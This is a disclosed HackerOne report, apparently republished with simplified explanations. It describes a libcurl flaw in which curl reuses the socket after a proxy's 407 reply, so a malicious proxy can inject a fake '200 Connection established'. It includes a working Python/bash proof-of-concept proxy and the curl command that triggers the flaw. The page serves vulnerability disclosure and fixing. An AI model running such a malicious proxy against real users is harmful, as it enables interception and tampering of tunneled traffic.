Proxy CONNECT response poisoning via authentication retry in cf-h1-proxy.c (libcurl)
When an HTTP/1.x proxy replies to a CONNECT request with a 407 that has no Content-Length and no chunked encoding, curl's proxy state machine resets and retries authentication on the same socket instead of closing it. A malicious proxy can append a fake 200 response after the 407, so curl believes the tunnel is established and sends tunneled traffic that the proxy can read or alter.
Originally disclosed on HackerOne
- Disclosed after 6 days
Summary:
When an HTTP/1.x proxy returns a 407 with no Content-Length and no chunked transfer-encoding, lib/cf-h1-proxy.c single_header() sets ts->keepon = KEEPON_DONE but never sets ts->close_connection = TRUE. Because ts->close_connection and conn->bits.close both stay false, the CONNECT tunnel state machine resets to H1_TUNNEL_INIT and retries authentication on the same TCP socket. A malicious proxy can append a fake HTTP/1.1 200 Connection established immediately after the 407; curl consumes it as the response to the retry CONNECT and falsely believes the tunnel is established. Suggested fix: in that else branch (no Content-Length, no chunked encoding) set ts->close_connection = TRUE in addition to ts->keepon = KEEPON_DONE.
Affected version
curl 8.20.0-195-gfc90bdbaf9 (commit fc90bdbaf9).
Steps To Reproduce:
Run the script below. If curl prints "CONNECT tunnel established, response 200" and sends the tunneled request without the proxy ever sending a real second CONNECT response, the injection is confirmed.
#!/bin/bash
# Reproduction: Proxy CONNECT Response Poisoning via Authentication Retry
PROXY_PORT=34371
python3 << 'PYEOF' &
import socket, time
NONCE = "dcd98b7102dd2f0e8b11d0f600bfb0c093"
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', 34371))
srv.listen(1)
print("[proxy] listening on 34371")
conn, addr = srv.accept()
print(f"[proxy] connection from {addr}")
data = b""
while b"\r\n\r\n" not in data:
data += conn.recv(4096)
print(f"[proxy] <- first CONNECT:\n{data.decode(errors='replace').strip()}")
# Send 407 Digest challenge WITHOUT Content-Length, immediately followed by the fake 200.
response = (
b"HTTP/1.1 407 Proxy Authentication Required\r\n"
b"Proxy-Authenticate: Digest realm=\"testrealm\","
b" nonce=\"" + NONCE.encode() + b"\"\r\n"
b"\r\n" # end of 407 headers - no Content-Length, no body framing
b"HTTP/1.1 200 Connection established\r\n"
b"\r\n"
)
print(f"[proxy] -> 407 Digest (no Content-Length) + injected 200 on same socket")
conn.sendall(response)
time.sleep(2)
try:
retry = conn.recv(4096)
if retry:
print(f"[proxy] <- retry CONNECT (should NOT arrive):\n{retry.decode(errors='replace').strip()}")
else:
print("[proxy] no retry received - curl already consumed the fake 200")
except:
pass
time.sleep(5)
conn.close()
srv.close()
PYEOF
PROXY_PID=$!
sleep 0.5
echo "=== Running curl through malicious proxy (Digest auth - two-step handshake) ==="
curl -v --proxytunnel -x "http://127.0.0.1:${PROXY_PORT}" --proxy-digest -U "user:pass" "http://victim.invalid/" 2>&1
wait $PROXY_PID 2>/dev/null
Impact
Summary:
A malicious or compromised HTTP proxy can poison the CONNECT handshake so that curl believes an encrypted tunnel is established when it is not. The proxy operator can then observe or modify all tunneled traffic - including pre-TLS data and the HTTPS ClientHello - before TLS negotiation begins, enabling interception or tampering of the protected connection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
In the no-Content-Length, no-chunked branch of single_header(), the code sets keepon to KEEPON_DONE but does not set close_connection, so the tunnel state machine resets and retries on the same socket.
Impact
A malicious or compromised proxy could observe or modify tunneled traffic, including pre-TLS data and the HTTPS ClientHello, before TLS negotiation begins.
What the attacker needed
Victim uses a malicious or compromised proxy; proxy requires authentication (e.g. Digest)
The fix
In the branch where the response has no Content-Length and no chunked encoding, the code should also set close_connection to TRUE so the connection is not reused for the authentication retry.
How it was found
- Run a local proxy that answers the first CONNECT with a 407 Digest challenge lacking Content-Length and chunked encoding, followed immediately by a fake 200 response on the same socket.
- Run curl through that proxy with proxytunnel and proxy-digest credentials against a test host.
- Observe that curl reports the tunnel as established and sends the tunneled request without the proxy sending a real second CONNECT response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you use a proxy, curl asks it to open a tunnel. If the proxy asks for a password, curl retried on the same connection instead of closing it, so the proxy could slip in a fake 'tunnel ready' message and curl trusted it. The proxy could then see or change traffic meant to be protected.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.